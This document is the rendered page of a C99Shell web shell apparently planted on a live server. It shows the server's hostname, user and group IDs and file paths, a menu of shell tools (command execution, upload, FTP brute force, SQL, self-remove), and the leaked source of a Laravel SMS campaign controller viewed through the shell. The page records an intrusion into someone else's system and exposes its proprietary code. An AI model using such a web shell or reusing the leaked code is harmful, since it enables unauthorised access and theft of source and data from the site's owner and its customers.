!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/picotext.picotech.app/public_html/app/Http/Controllers/Customer/   drwxr-xr-x
Free 28.9 GB of 117.98 GB (24.5%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     CampaignController.php (17.04 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers\Customer;

use 
App\Http\Controllers\Controller;
use 
App\Jobs\CampaignCreateJob;
use 
App\Models\Campaign;
use 
App\Models\CustomerNumber;
use 
App\Models\Exception;
use 
App\Models\FromGroup;
use 
App\Models\Group;
use 
App\Models\Message;
use 
App\Models\Number;
use 
App\Models\SenderId;
use 
App\Models\Settings;
use 
App\Models\SmsTemplate;
use 
Illuminate\Http\Request;
use 
Illuminate\Support\Carbon;
use 
Illuminate\Support\Facades\DB;
use 
Illuminate\Support\Facades\Log;

class 
CampaignController extends Controller
{
    public function 
index()
    {
        return 
view('customer.campaign.index');
    }

    public function 
smsTemplate()
    {
        
$customer auth('customer')->user();
        
$data['sms_templates'] = SmsTemplate::where('customer_id'$customer->id)->get();
        return 
view('customer.template.sms_template'$data);
    }

    public function 
report(Request $request)
    {
        
$customer auth('customer')->user();
        if (
$request->campaign_id)
            
$campaign $customer->campaings()->where('id'$request->campaign_id)->firstOrFail();
        
$messageLogs $customer->messages()->select(['from''to','status','failed_reason''body''updated_at','delivered_at','failed_reason','schedule_datetime','schedule_completed']);

        if (
$request->campaign_id) {
            
$messageLogs $messageLogs->where('campaign_id'$campaign->id);
        }

        if (
$request->campaign_id) {
            
$data['reports'] = $messageLogs->simplePaginate(20);
        } else {
            
$data['reports'] = '';
        }
        
$data['campaigns'] = $customer->campaings;
        
$data['requestData'] = $request->only('campaign_id');
        return 
view('customer.campaign.report'$data);
    }

    public function 
getAll()
    {
        
$campaings auth('customer')->user()->campaings()->withCount(['sms_queue','total_processed'])->orderByDesc('id');
        return 
datatables()->of($campaings)
            ->
addColumn('title', function ($q) {
                
$title $q->title;
                if (
$q->status == 'running' && $q->sms_queue_count) {
                    
$title .= '(' $q->total_processed_count '/' $q->sms_queue_count ')';
                }
                return 
$title;
            })
            ->
addColumn('start_date', function ($q) {
                return 
$q->start_date->format('Y-m-d');
            })
            ->
addColumn('end_date', function ($q) {
                return 
$q->end_date->format('Y-m-d');
            })
            ->
addColumn('status', function ($q) {
                if (
$q->import_fail_message) {
                    return 
' <button type="button" class="btn light btn-sm btn-danger">Import Failed</button> <br>' $q->import_fail_message;
                }
                if (
$q->status == 'running') {
                    if (
$q->total_processed_count >= $q->sms_queue_count) {
                        return 
' <button type="button" disabled class="btn light btn-sm btn-primary">Completed</button>';
                    }
                    return 
'  <button type="button" class="btn light btn-sm btn-success dropdown-toggle" data-toggle="dropdown" aria-expanded="false">
                                                Running
                               </button>
                                <div class="dropdown-menu" x-placement="bottom-start" style="position: absolute; will-change: transform; top: 0px; left: 0px; transform: translate3d(0px, 38px, 0px);">
                                     <button data-message="Are you sure, you want to change this campaign status?" data-action=' 
route('customer.campaign.status', ['id' => $q->id'status' => 'paused']) . '
                                        data-input={"_method":"post"} data-toggle="modal" data-target="#modal-confirm" class="dropdown-item">
                                                    Pause
                                     </button>
                                </div>'
;
                } elseif (
$q->status == 'failed') {
                    return 
'  <button type="button" class="btn light btn-sm btn-danger">Failed</button> <br>' $q->import_fail_message;
                } elseif (
$q->status == 'importing') {
                    return 
"<span> <i class=\"fas fa-spinner fa-pulse\"></i> importing</span>";
                } else {
                    return 
'<button type="button" class="btn light btn-sm btn-warning dropdown-toggle" data-toggle="dropdown" aria-expanded="false">
                                                Pause
                               </button>
                                <div class="dropdown-menu" x-placement="bottom-start" style="position: absolute; will-change: transform; top: 0px; left: 0px; transform: translate3d(0px, 38px, 0px);">
                                     <button data-message="Are you sure, you want to change this campaign status?" data-action=' 
route('customer.campaign.status', ['id' => $q->id'status' => 'running']) . '
                                        data-input={"_method":"post"} data-toggle="modal" data-target="#modal-confirm" class="dropdown-item">
                                                    Running
                                     </button>
                                </div>'
;
                }
            })->
addColumn('action', function ($q) {

                if(
$q->status != 'importing'){
                    return 
'<a href="' route('customer.campaign.statistic', [$q->id]) . '" target="_blank" class="btn light btn-sm btn-info mr-2">Statistic </a>'.'<button class="btn btn-sm btn-danger" data-message="Are you sure, you want to delete this campaign? <br> <br> <small>N.B: This will delete all messages including sent and queue related to this campaign.</small>"
                                        data-action=' 
route('customer.campaign.destroy', [$q]) . '
                                        data-input={"_method":"delete"}
                                        data-toggle="modal" data-target="#modal-confirm">Delete</button>'
;
                }
            })->
rawColumns(['title''action''status'])->toJson();
    }

    public function 
allSenders(Request $request){
        
$customer=auth('customer')->user();

        
$fromGroups=$customer->from_groups()->where('type'$request->type)->get();
        
$numbers=$customer->numbers()->where('type'$request->type)->get();
        
$usersFormGroups = [];
        
$usersFormNumbers = [];
        foreach (
$fromGroups as $group) {
            
$usersFormGroups[] = ['value' => $group->name'id' => $group->id'type' => 'group'];
        }
        foreach (
$numbers as $key => $number) {
            
$usersFormNumbers[] = ['value' => $number->number'number' => $number->number'type' => 'from'];
        }


        return 
response()->json(['number'=>$usersFormNumbers,'groups'=>$usersFormGroups'status'=>'success']);
    }

    public function 
create()
    {
        
$customer auth('customer')->user();

        
$data['templates'] = SmsTemplate::where('customer_id'$customer->id)->where('status''active')->get();
        
$data['groups'] = $customer->groups()->withCount('contacts')->get();
        
$data['from_groups'] = $customer->from_groups;
        
$fromGroups=$customer->from_groups()->where('type''number')->get();
        
$numbers=$customer->numbers()->where('type''number')->get();

        
$usersFormGroups = [];
        
$usersFormNumbers = [];
        foreach (
$fromGroups as $group) {
            
$usersFormGroups[] = ['value' => $group->name'id' => $group->id'type' => 'group'];
        }
        foreach (
$numbers as $key => $number) {
            
$usersFormNumbers[] = ['value' => $number->number'number' => $number->number'type' => 'from'];
        }

        
$data['users_from_groups'] = $usersFormGroups;
        
$data['users_from_number'] = $usersFormNumbers;
        return 
view('customer.campaign.create'$data);
    }

    public function 
getTemplate(Request $request)
    {

        
$customer auth('customer')->user();
        
$template SmsTemplate::where('id'$request->template_id)->where('customer_id'$customer->id)->first();

        return 
response()->json(['status' => 'success''data' => $template->body]);
    }

    public function 
store(Request $request)
    {
        
DB::beginTransaction();
        try {
            if (
env("APP_DEMO")) {
                return 
redirect()->back()->withErrors(['msg' => trans('admin.app_demo_message')]);
            }
            
$request->validate([
                
'title' => 'required',
                
'template_body' => 'required',
            ]);


            if (
$request->check_schedule && $request->check_schedule == 'on') {
                
$sTime strtotime($request->start_time);
                
$eTime strtotime($request->end_time);

                
$endDate = new Carbon($request->end_date);
                
$startDate = new Carbon($request->start_date);

                if (
Carbon::parse($startDate)->gt(Carbon::now()) || Carbon::parse($endDate)->gt(Carbon::now())) {
                    return 
redirect()->back()->withErrors(['error' => 'You can\'t select previous date']);
                }
                if (
$request->end_date $request->start_date) {
                    return 
redirect()->back()->withErrors(['error' => 'Invalid schedule date']);
                }
                if (
$sTime $eTime) {
                    return 
redirect()->back()->withErrors(['error' => 'Invalid schedule time']);
                }
            }

            
$totalGroups Group::whereIn('id'$request->groups)->get();
            
$totalTo = [];
            foreach (
$totalGroups as $gContacts) {
                foreach (
$gContacts->contacts as $contact) {
                    
$totalTo[] = $contact->contact->contact_dial_code $contact->contact->number;
                }
            }

            
$totalTo array_unique($totalTo);
            if (
count($totalTo) <= 0) {
                return 
redirect()->back()->withErrors(['failed' => 'Select at last one group with more than 1 contacts']);
            }

            
$onException Exception::where('customer_id'auth('customer')->id())->whereIn('number'$totalTo)->pluck('number')->toArray();
            
$to array_diff($totalTo$onException);


            
$allGroupIds = [];
            
$allFromNumber = [];
            foreach (
$request->from_number as $item) {
                
$number = (array)json_decode($item);
                if (isset(
$number['type'])) {
                    if (
$number['type'] == 'from') {
                        
$allFromNumber[] = $number['number'];
                    } elseif (
$number['type'] == 'group') {
                        
$allGroupIds[] = $number['id'];
                    }
                }
            }

            
$fromGroups FromGroup::where('status''active')->whereIn('id'$allGroupIds)->get();
            foreach (
$fromGroups as $from_group) {
                foreach (
$from_group->from_group_numbers as $from_number) {
                    
$allFromNumber[] = $from_number->number;
                }
            }


            
$from_type $request->type;

            
$customerNumbers auth('customer')->user()->numbers()->whereIn('number'$allFromNumber)->get();

            
$findNumbServer = [];
            foreach (
$customerNumbers as $numb) {
                
$findNumbServer[$numb->number] = [
                    
'dynamic_gateway_id' => $numb->dynamic_gateway_id,
                ];
            }
            if (
$request->check_schedule && $request->check_schedule == 'on') {
                
/*Start*/
                
$startDate = (new Carbon($request->start_date))->subDay();
                
$endDate = new Carbon($request->end_date);
                
$startTime = new Carbon($request->start_time);
                
$endTime = new Carbon($request->end_time);
                
/*End*/
            
} else {
                
/*Start*/
                
$start_date now()->subDay()->format('Y-m-d');
                
$end_date now()->format('Y-m-d');
                
$startDate = (new Carbon($start_date));
                
$endDate = new Carbon($end_date);
                
$startTime now()->format('H:i:s');
                
$endTime now()->addMinute()->format('H:i:s');
                
$startTime = new Carbon($startTime);
                
$endTime = new Carbon($endTime);
                
/*End*/
            
}

            
$allFromNumber array_values(array_unique($allFromNumber));
            if(empty(
$allFromNumber)){
                
DB::rollBack();
            }

            
$customer auth('customer')->user();
            
$campaign = new Campaign();
            
$campaign->title $request->title;
            
$campaign->customer_id $customer->id;
            
$campaign->from_number json_encode($allFromNumber);
            
$campaign->to_number json_encode($to);
            
$campaign->start_date $startDate;
            
$campaign->end_date $endDate;
            
$campaign->start_time $startTime;
            
$campaign->end_time $endTime;
            
$campaign->message_body json_encode($request->template_body);
            
$campaign->group_ids json_encode($request->groups);
            
$campaign->status 'importing';
            
$campaign->save();
            
$from $allFromNumber;


            
$totalToNumbersCount 0;
            
$totalFromNumbersCount count($allFromNumber);
            
$generatedToNumbers = [];
            
$lastKey end($from);
            for (
$i 0$i count($to); $i += count($from)) {
                for (
$j 0$j count($from); $j++) {
                    if (isset(
$to[$i $j])) {
                        
$generatedToNumbers[$from[$j]][] = trim($to[$i $j]);
                        
$totalToNumbersCount++;
                    }
                }
            }

            foreach (
$generatedToNumbers as $key => $toNumbers) {

                
$serverId = isset($findNumbServer[$key]) ? $findNumbServer[$key]['dynamic_gateway_id'] : 0;

                
//Get Time Different
                
$difference_time $startTime->diffInSeconds($endTime);
                
$difference_date $startDate->diffInDays($endDate);
                
$total_minute $difference_time $difference_date;
                
$send_speed floor($total_minute $totalToNumbersCount);
                
//End

                //create new message
                
$msgBody $request->template_body;

                
CampaignCreateJob::dispatch($campaign->id$key$msgBody$toNumbers$campaign$totalToNumbersCount$totalFromNumbersCount$difference_date$startDate$startTime$send_speedauth('customer')->user(), $lastKey$from_type$serverId);
            }

            
DB::commit();
            return 
redirect()->route('customer.campaign.index')->with('success'trans('Campaign created successfully'));
        } catch (
\Exception $ex) {
            
DB::rollBack();
            return 
redirect()->back()->withErrors(['error' => $ex->getMessage()]);
        }
    }


    public function 
destroy(Campaign $campaign)
    {
        if (
$campaign->sms_queue) {
            
$campaign->sms_queue()->delete();
        }
        
$campaign->delete();

        return 
redirect()->route('customer.campaign.index')->with('success''Congratulations ! Campaign successfully deleted');
    }

    public function 
status(Request $request)
    {
        
$request->validate([
            
'status' => 'required|in:running,paused',
        ]);

        
$customer auth('customer')->user();
        
$campaign Campaign::where('customer_id'$customer->id)->where('id'$request->id)->firstOrFail();
        
$campaign->status $request->status;
        
$campaign->save();

        
Message::where('campaign_id'$campaign->id)->where('schedule_completed''no')->where('status'$request->status == 'paused' 'running' 'paused')->update(['status' => $request->status]);

        return 
redirect()->route('customer.campaign.index')->with('success''Congratulations ! Campaign status updated');

    }

    public function 
statistic($id)
    {
        
$campaign auth('customer')->user()->campaings()->where('id'$id)->firstOrFail();

        if(
$campaign->status=='importing'){
            return 
redirect()->back()->withErrors(['error'=>'You can\'t see statistics while importing']);
        }
        
$data['messageRunningLogs'] = auth('customer')->user()->messages()->where('campaign_id'$campaign->id)->orderBy('schedule_datetime')->where('schedule_completed''no')->where('status''running')->paginate(20, ['*'], 'running');
        
$data['messagePausedLogs'] = auth('customer')->user()->messages()->where('campaign_id'$campaign->id)->orderBy('schedule_datetime')->where('status''paused')->paginate(20, ['*'], 'paused');
        
$data['messageFailedLogs'] = auth('customer')->user()->messages()->where('campaign_id'$campaign->id)->orderBy('schedule_datetime')->where('schedule_completed''yes')->where('status''failed')->paginate(20, ['*'], 'failed');
        
$data['messageDeliveredLogs'] = auth('customer')->user()->messages()->where('campaign_id'$campaign->id)->orderBy('schedule_datetime')->where('status''!=''failed')->where('schedule_completed''yes')->whereColumn('created_at''<''updated_at')->paginate(20, ['*'], 'delivered');

        return 
view('customer.campaign.statistic'$data);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0126 ]--